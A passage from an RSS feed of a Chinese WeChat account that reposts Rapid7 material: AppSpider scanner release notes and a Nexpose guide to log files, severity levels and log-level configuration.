255);font-style: italic;font-size: 14px;"><a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers)" target="_blank">https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers)</a></span><span style="font-size: 15px;">或</span></section><section style="margin-bottom: 10px;"><span style="font-size: 15px;">binary installers(</span><span style="color: rgb(0, 128, 255);"><em><span style="color: rgb(0, 128, 255);font-size: 14px;"><a href="https://www.rapid7.com/products/metasploit/download/" target="_blank">https://www.rapid7.com/products/metasploit/download/</a></span></em></span><span style="font-size: 15px;">)</span></section><section style="margin-bottom: 10px;"><br/></section>



<p><a href="https://blog.rapid7.com/2021/01/22/metasploit-wrap-up-95/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a0248b39&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI4OTUxMzA1NA%3D%3D%26mid%3D2247484484%26idx%3D1%26sn%3Db5a5958954acaf0953e9da454e88ce10%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 01 Feb 2021 13:50:00 +0800</pubDate>
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    <item>
      <title>AppSpider Pro7.4.019更新支持x64架构</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484480&amp;idx=1&amp;sn=cc49df9f1700e4b8dbbbaf908fa73257</link>
      <description>最近AppSpider迎来了一个不小的更新，此次更新中比较重要的就是关于引擎本身支持X64处理器，这代表这扫描器本身的性能将会有更大的发挥空间</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2020-12-04 12:21</span> <span style="display: inline-block;"></span>
</p>

<p>最近AppSpider迎来了一个不小的更新，此次更新中比较重要的就是关于引擎本身支持X64处理器，这代表这扫描器本身的性能将会有更大的发挥空间</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=17fa9fe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFVy78HO18EhY8xicFhOIP6pkqj9zkCUrcqm6fA1lzqzzbF1pZxMDredmT2652uXAFWia58eicvYDssEA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-bottom: 15px;"><span style="color: rgb(0, 0, 0);font-size: 15px;">最近AppSpider迎来了一个不小的更新，此次更新中比较重要的就是关于引擎本身支持X64处理器，这代表这扫描器本身的性能将会有更大的发挥空间。</span></section><section style="text-align: center;margin-bottom: 15px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=005b4365&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVy78HO18EhY8xicFhOIP6pkzg4SthEYmWuRB0UaN7cEic7gGcxAY3L8LDJHqGV9ZAV0BZJO9DZpLqQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-bottom: 15px;"><span style="font-size: 17px;color: rgb(233, 95, 38);"><strong>新增功能</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">基于现有模块的更多Attack方法：我们在以下攻击模块中添加了新的攻击，以提高攻击范围：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">DOM中的XSS</span></section></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">未经验证的重定向</span></section></li></ul><section style="margin-bottom: 15px;"><span style="font-size: 15px;">AppSpider扫描引擎现在使用x64处理器体系架构。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">现在的AppSpider安装程序可以使用配置文件中的安装配置参数，而不只是在命令行下。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">向AppSpider引擎添加了通过REST API下载Swagger的功能。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们添加了对Selenium .side文件格式的支持。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 17px;color: rgb(233, 95, 38);"><strong>功能改善</strong></span></section><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">我们更新了登录宏文件的播放算法，以修复某些在网站情况下可能发生的回放失败。</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">我们更新了FrontPage服务器扩展漏洞测试。</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">我们将自带安装的Selenium ChromeDriver升级到版本87.0.4280.20。</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">现在我们支持JavaScript宏事件的错误记录。</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">我们改进了暴力表单身份验证攻击模块的算法，以解决部分结果的误报。</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">我们更新了会话强度攻击模块的分析算法。</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">我们在REST API的身份验证方法中添加了令牌提取和注入功能。</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">我们扩展了服务器端请求伪造（SSRF）攻击模块，以包括Azure云。</span></p></li></ol><p style="margin-bottom: 15px;"><br/></p><p style="margin-bottom: 15px;"><span style="font-size: 17px;color: rgb(233, 95, 38);"><strong>功能修复</strong></span></p><section style="margin-bottom: 15px;"><span style="font-size: 15px;">更新了以下攻击模块，以解决包含有误报的情况：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">NoSQLi注入</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">盲SQL注入</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">文件包含</span></p></li><li><p style="margin-bottom: 10px;"><span style="font-size: 15px;">SSRF</span></p></li></ul><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们修复了导致登录宏文件使用JavaScript时无法执行的问题。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们放宽了Session Loss Header Regex的条件，以防止不必要的触发。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们修复了由网络错误引起的扫描崩溃情况。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们修复了登录流量回放期间的登录失败问题。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们修复了可能导致扫描引擎在卸载时崩溃的情况。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们修复了暴力表单身份验证攻击模块导致的过多内存使用问题。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们修复了Web服务WSDL解析错误问题。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们修复了阻止在扫描结束时将最后一条消息添加到操作和用户日志的问题。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">我们修复了由于包含截断的JavaScript代码而导致的登录宏播放失败的问题。</span></section>



<p><a href="2247484480">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0b129de3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI4OTUxMzA1NA%3D%3D%26mid%3D2247484480%26idx%3D1%26sn%3Dcc49df9f1700e4b8dbbbaf908fa73257%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 04 Dec 2020 12:21:00 +0800</pubDate>
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    <item>
      <title>Nexpose常见问题排查</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484474&amp;idx=1&amp;sn=1a2a8268a9e1be05ef29cd6415c7f63a</link>
      <description>大家都是专业人才，太专业的我就不多介绍了，这次介绍的纯属是关于Nexpose产品本身相关的问题排查方法和思路，大多是跟环境相关的，其中因系统环境和网络环境导致的问题居多，供大家参考。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2020-11-17 12:04</span> <span style="display: inline-block;"></span>
</p>

<p>大家都是专业人才，太专业的我就不多介绍了，这次介绍的纯属是关于Nexpose产品本身相关的问题排查方法和思路，大多是跟环境相关的，其中因系统环境和网络环境导致的问题居多，供大家参考。</p>
<p></p>



<p>
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<section style="margin-bottom: 15px;"><span style="font-size: 15px;">大家都是专业人才，太专业的我就不多介绍了，这次介绍的纯属是关于Nexpose产品本身相关的问题排查方法和思路，大多是跟环境相关的，其中因系统环境和网络环境导致的问题居多，供大家参考。<br/></span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 16px;"><strong>利用日志文件</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果您在安全控制台或扫描引擎中遇到问题，您可能会发现查找日志文件进行故障排除会很有帮助。不仅如此，日志文件还可用于日常维护和调试目的。</span></section><section style="margin-bottom: 15px;"><span style="text-decoration: underline;font-size: 14px;color: rgb(0, 122, 170);"><em><span style="font-size: 14px;text-decoration: underline;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">本节不介绍与扫描事件相关的扫描日志。请参阅查看以下内容。</span></em></span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 16px;"><strong>定位每个日志文件并了解其用途</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">日志文件位于安全控制台上的 [installation_directory]/nsc/logs 目录中，在扫描引擎上位于 [installation_directory]/nse/logs 中。日志文件记录内容如下：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><strong><span style="font-size: 15px;">access.log（仅在安全控制台上）：</span></strong><span style="font-size: 15px;">此文件捕获有关正在访问的资源的信息，例如 Web 界面中的页面。在信息层面，access.log 捕获有关 API 事件的有用信息，例如正在调用的 API、API 版本和 API 客户端的 IP 地址。这对于监视 API 使用和解决 API 问题非常有用。该文件在以前的access_log中称为&#34;文件&#34;。</span></p></li><li><p><strong><span style="font-size: 15px;">auth.log（仅在安全控制台上）：</span></strong><span style="font-size: 15px;">此文件捕获每个登录或注销以及身份验证事件，如身份验证失败和锁定。它可用于跟踪用户会话。此文件在早期产品版本中称为um_log。</span></p></li><li><p><strong><span style="font-size: 15px;">nsc.log（仅在安全控制台上）：</span></strong><span style="font-size: 15px;">此文件捕获安全控制台中的系统和应用程序级事件。它可用于跟踪和解决：更新、操作调度以及分布式引擎的通信问题。此外，如果安全控制台进入维护模式，您可以以全局管理员身份登录并使用该文件来监视维护模式活动。</span></p></li><li><p><strong><span style="font-size: 15px;">nsc.log（仅在安全控制台上）：</span></strong><span style="font-size: 15px;">此文件捕获安全控制台中的系统和应用程序级事件。它除了可用于跟踪和解决：更新、操作调度以及分布式引擎的通信问题。此外，如果安全控制台进入维护模式，您可以以全局管理员身份登录并使用该文件来监视维护模式活动。</span></p></li><li><p><strong><span style="font-size: 15px;">mem.log（在安全控制台和分布式扫描引擎上）：</span></strong><span style="font-size: 15px;">此文件捕获与内存使用相关的事件。它可用于解决内存密集型操作（如扫描和报告）的问题。</span></p></li><li><p><strong><span style="font-size: 15px;">engine_communication.log：</span></strong><span style="font-size: 15px;">此文件包含安全控制台和远程扫描引擎之间的通信相关日志。</span></p></li><li><p><strong><span style="font-size: 15px;">eso.log：</span></strong><span style="font-size: 15px;">此文件包含自动操作的相关日志。</span></p></li><li><p><strong><span style="font-size: 15px;">initdb.log：</span></strong><span style="font-size: 15px;">此文件包含数据库的相关日志。</span></p></li><li><p><strong><span style="font-size: 15px;">audit.log：</span></strong><span style="font-size: 15px;">此文件记录安全控制台用户创建事件、删除事件、角色更改和站点配置更改。</span></p></li></ul><section style="margin-bottom: 15px;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;"><em>Tips：</em></span></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><em>在较早的产品版本中，API 信息存储在 nsc.log 中。</em></span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 16px;"><strong>日志文件的结构和内容</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">日志文件具有以下格式：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">[yyyy-mm-ddThh:mm:ss GMT] [LEVEL] [Thread: NAME] [MESSAGE]</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">【年-月-日T时:分:秒 格林威治时间(换算成北京时间需+8)】【等级】【来源:名字】【详情】</span><br/></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">示例：</span><br/></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">2011-12-20T16:54:48 [INFO] [Thread: Security Console] Security Console started in 12 minutes 54 seconds</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">每个日志消息都有严重级别：</span><br/></section><table cellspacing="0" cellpadding="0" align="center"><thead><tr style="height: 60px;"><td width="82" valign="middle" style="border-width: 1px;border-color: windowtext;background: rgb(240, 243, 244);padding: 1px;" height="60" align="center"><p style="text-align: center;font-size: 14px;font-family: DengXian;"><span style="font-size: 14px;"><strong><span style="font-family: Arial, sans-serif;color: rgb(68, 78, 84);">LEVEL</span></strong></span></p><p style="text-align: center;font-size: 14px;font-family: DengXian;"><span style="font-size: 14px;"><strong><span style="font-family: 宋体;color: rgb(68, 78, 84);">等级</span></strong></span></p></td><td width="256" valign="middle" style="border-top-width: 1px;border-top-color: windowtext;border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left: none;background: rgb(240, 243, 244);padding: 1px;" height="60" align="center"><p style="text-align: center;font-size: 14px;font-family: DengXian;"><span style="font-size: 14px;"><strong><span style="font-family: 宋体;color: rgb(68, 78, 84);">意义</span></strong></span></p></td><td width="198" valign="middle" style="border-top-width: 1px;border-top-color: windowtext;border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left: none;background: rgb(240, 243, 244);padding: 1px;" height="60" align="center"><p style="text-align: center;font-size: 14px;font-family: DengXian;"><span style="font-size: 14px;"><strong><span style="font-size: 14px;font-family: 宋体;color: rgb(68, 78, 84);">例子</span></strong></span></p></td></tr></thead><tbody><tr style="height: 60px;"><td width="82" valign="middle" style="border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left-width: 1px;border-left-color: windowtext;border-top: none;padding: 1px;word-break: break-all;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: Arial, sans-serif;color: rgb(68, 78, 84);font-size: 14px;">ERROR</span><span style="color: rgb(68, 78, 84);font-family: 宋体;">错误</span></p></td><td width="256" valign="middle" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: 宋体;color: rgb(68, 78, 84);font-size: 14px;">阻止系统进程成功执行并阻止用户操作（如扫描）的异常事件</span></p></td><td width="216" valign="middle" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: 宋体;color: rgb(68, 78, 84);font-size: 14px;">安全控制台无法连接到数据库</span></p></td></tr><tr style="height: 60px;"><td width="82" valign="middle" style="border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left-width: 1px;border-left-color: windowtext;border-top: none;padding: 1px;word-break: break-all;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: Arial, sans-serif;color: rgb(68, 78, 84);font-size: 14px;">WARN</span><span style="color: rgb(68, 78, 84);font-family: 宋体;">警告</span></p></td><td width="256" valign="middle" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: 宋体;color: rgb(68, 78, 84);font-size: 14px;">阻止系统进程成功执行但并不完全阻止用户操作（如扫描）的异常事件</span></p></td><td width="216" valign="middle" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: 宋体;color: rgb(68, 78, 84);font-size: 14px;">安全控制台和远程扫描引擎之间的通信中断</span></p></td></tr><tr style="height: 60px;"><td width="82" valign="middle" style="border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left-width: 1px;border-left-color: windowtext;border-top: none;padding: 1px;word-break: break-all;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: Arial, sans-serif;color: rgb(68, 78, 84);font-size: 14px;">INFO</span><span style="color: rgb(68, 78, 84);font-family: 宋体;">信息</span></p></td><td width="256" valign="middle" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: 宋体;color: rgb(68, 78, 84);font-size: 14px;">在正常预期事件内提供系统活动的有用信息</span></p></td><td width="216" valign="middle" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: 宋体;color: rgb(68, 78, 84);font-size: 14px;">安全控制台尝试与远程扫描引擎建立连接</span></p></td></tr><tr style="height: 60px;"><td width="82" valign="middle" style="border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left-width: 1px;border-left-color: windowtext;border-top: none;background: rgb(237, 241, 242);padding: 1px;word-break: break-all;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: Arial, sans-serif;color: rgb(68, 78, 84);font-size: 14px;">DEBUG</span><span style="color: rgb(68, 78, 84);font-family: 宋体;">调试</span></p></td><td width="256" valign="middle" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;background: rgb(237, 241, 242);padding: 1px;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: 宋体;color: rgb(68, 78, 84);font-size: 14px;">除调试目的外，不需要查看的正常预期事件</span></p></td><td width="216" valign="middle" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;background: rgb(237, 241, 242);padding: 1px;word-break: break-all;" height="60" align="center"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: 宋体;color: rgb(68, 78, 84);">在安全控制台</span><span style="font-size: 14px;font-family: Arial, sans-serif;color: rgb(68, 78, 84);">/</span><span style="font-size: 14px;font-family: 宋体;color: rgb(68, 78, 84);">扫描引擎协议内执行操作</span></span></p></td></tr></tbody></table><section style="margin-bottom: 15px;"><span style="font-size: 15px;"><br/>在读取日志文件以排除主要问题时，您可能会发现最初查找 ERROR 和 WARN 级别消息非常有用。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 16px;"><strong>配置显示哪些严重级别的日志</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">默认情况下，所有日志文件都显示严重级别为 INFO 和更高级别的消息。这意味着它们只会显示 INFO、WARN、ERROR的日志信息，但是不会不显示调试消息。您可以更改日志文件中显示的严重级别。例如，您可能希望筛选出除具有警告和错误严重性级别的消息之外的所有邮件。或者，您可能希望包括 DEBUG 消息以用于维护和调试目的。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 15px;"><strong>使用日志命令</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">可以使用控制台命令控制安全控制台和嵌入式扫描引擎产生日志级别。有关分布式扫描引擎配置日志级别的步骤，请参阅本文的&#34;使用文件系统&#34;部分。有关控制台命令的信息，请访问</span><span style="text-decoration: underline;"><em><span style="text-decoration: underline;font-size: 15px;color: rgb(0, 122, 170);"><a href="https://docs.rapid7.com/nexpose/using-the-command-console/" target="_blank">https://docs.rapid7.com/nexpose/using-the-command-console/</a></span></em></span><span style="font-size: 15px;">。</span></section><table cellspacing="0" cellpadding="0"><thead><tr><td valign="top" style="border-width: 1px;border-color: windowtext;background: rgb(240, 243, 244);padding: 1px;"><p style="text-align: center;font-size: 14px;font-family: DengXian;"><span style="font-size: 14px;"><strong><span style="font-family: 宋体;color: rgb(68, 78, 84);">命令</span></strong></span></p></td><td valign="top" style="border-top-width: 1px;border-top-color: windowtext;border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left: none;background: rgb(240, 243, 244);padding: 1px;"><p style="text-align: center;font-size: 14px;font-family: DengXian;"><span style="font-size: 14px;"><strong><span style="font-family: 宋体;color: rgb(68, 78, 84);">描述</span></strong></span></p></td><td valign="top" style="border-top-width: 1px;border-top-color: windowtext;border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left: none;background: rgb(240, 243, 244);padding: 1px;"><p style="text-align: center;font-size: 14px;font-family: DengXian;"><span style="font-size: 14px;"><strong><span style="font-size: 14px;font-family: 宋体;color: rgb(68, 78, 84);">例子</span></strong></span></p></td></tr></thead><tbody><tr><td valign="top" style="border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left-width: 1px;border-left-color: windowtext;border-top: none;padding: 1px;"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: Arial, sans-serif;color: rgb(68, 78, 84);font-size: 14px;">Log list</span></p></td><td valign="top" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: 宋体;color: rgb(68, 78, 84);font-size: 14px;">列出所有日志记录配置属性</span></p></td><td valign="top" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="color: rgb(59, 69, 74);border-width: 1px;border-style: none;border-color: windowtext;padding: 0px;background: rgb(207, 217, 222);">log list</span></p></td></tr><tr><td valign="top" style="border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left-width: 1px;border-left-color: windowtext;border-top: none;padding: 1px;"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: Arial, sans-serif;color: rgb(68, 78, 84);font-size: 14px;">Log set [&lt;name&gt;] [value]</span></p></td><td valign="top" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: 宋体;color: rgb(68, 78, 84);font-size: 14px;">将日志记录配置属性设置为指定的值。省略参数以将所有属性设置为指定的。用于查看可用的属性名称</span></p><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="color: rgb(59, 69, 74);border-width: 1px;border-style: none;border-color: windowtext;padding: 0px;background: rgb(207, 217, 222);font-size: 14px;">name  value log list</span></p></td><td valign="top" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;padding: 1px;"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="color: rgb(59, 69, 74);border-width: 1px;border-style: none;border-color: windowtext;padding: 0px;background: rgb(207, 217, 222);">log set DEBUGlog set auth-level debug</span></p></td></tr><tr><td valign="top" style="border-right-width: 1px;border-right-color: windowtext;border-bottom-width: 1px;border-bottom-color: windowtext;border-left-width: 1px;border-left-color: windowtext;border-top: none;background: rgb(237, 241, 242);padding: 1px;"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-family: Arial, sans-serif;color: rgb(68, 78, 84);font-size: 14px;">Log reset [&lt;name&gt;]</span></p></td><td valign="top" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;background: rgb(237, 241, 242);padding: 1px;"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="font-size: 14px;"><span style="font-family: 宋体;color: rgb(68, 78, 84);">将日志记录配置属性重置为默认值。省略参数以将所有属性重置为默认值。用于查看可用的属性名称。</span><span style="color: rgb(59, 69, 74);border-width: 1px;border-style: none;border-color: windowtext;padding: 0px;background: rgb(207, 217, 222);">namelog list</span></span></p></td><td valign="top" style="border-top: none;border-left: none;border-bottom-width: 1px;border-bottom-color: windowtext;border-right-width: 1px;border-right-color: windowtext;background: rgb(237, 241, 242);padding: 1px;"><p style="text-align: left;font-size: 14px;font-family: DengXian;"><span style="color: rgb(59, 69, 74);border-width: 1px;border-style: none;border-color: windowtext;padding: 0px;background: rgb(207, 217, 222);">log resetlog reset auth-level</span></p></td></tr></tbody></table><section style="margin-bottom: 15px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">发出命令后，大约 30 秒后应用更改。</span><br/></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 15px;"><strong>使用文件系统</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">安全控制台和分布式扫描引擎的配置步骤是相同的。若要对显示的日志严重性级别进行配置，请执行以下步骤：</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(0, 122, 170);"><strong><span style="font-size: 14px;"><em>Tips：</em></span></strong><span style="font-size: 14px;"><em>在用户日志设置.xml 文件中，默认引用 nsc.log （安全控制台）文件或 nse.log （分布式扫描引擎）文件，具体取决于安装的组件是安全控制台还是分布式扫描引擎。</em></span></span></section><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;">1.</span></strong><span style="font-size: 15px;">在文本编辑器中，打开位于 [installation_directory]/nsc/conf 目录中的user-log-settings.xml 文件。</span></section><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;">2.</span></strong><span style="font-size: 15px;">通过删除开始和结束注释标记来取消对文件内容行的注释，如：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;!----&gt;&lt;!-- &lt;property name=&#34;default-level&#34; value=&#34;INFO&#34;/&gt; --&gt;</span></code></pre></section><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;">3.</span></strong><span style="font-size: 15px;">如果要更改 nsc.log（用于安全控制台安装）或 nse.log 文件（用于扫描引擎安装）的日志记录级别，请保持该值默认值不变。否则，请将该值更改为以下值之一以指定其他日志文件：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">Auth</span></p></li><li><p><span style="font-size: 15px;">Access</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">Mem</span></section></li></ul><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;">4.</span></strong><span style="font-size: 15px;">将行中的值更改为首选严重性级别：DEBUG, INFO, WARN或 ERROR。例子：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;property name=&#34;default-level&#34; value=&#34;DEBUG&#34;/&gt;</span></code></pre></section><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;">5.</span></strong><span style="font-size: 15px;">若要更改其他日志文件的日志级别，只需复制并粘贴未注释的行，相应地更改值。例子：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index 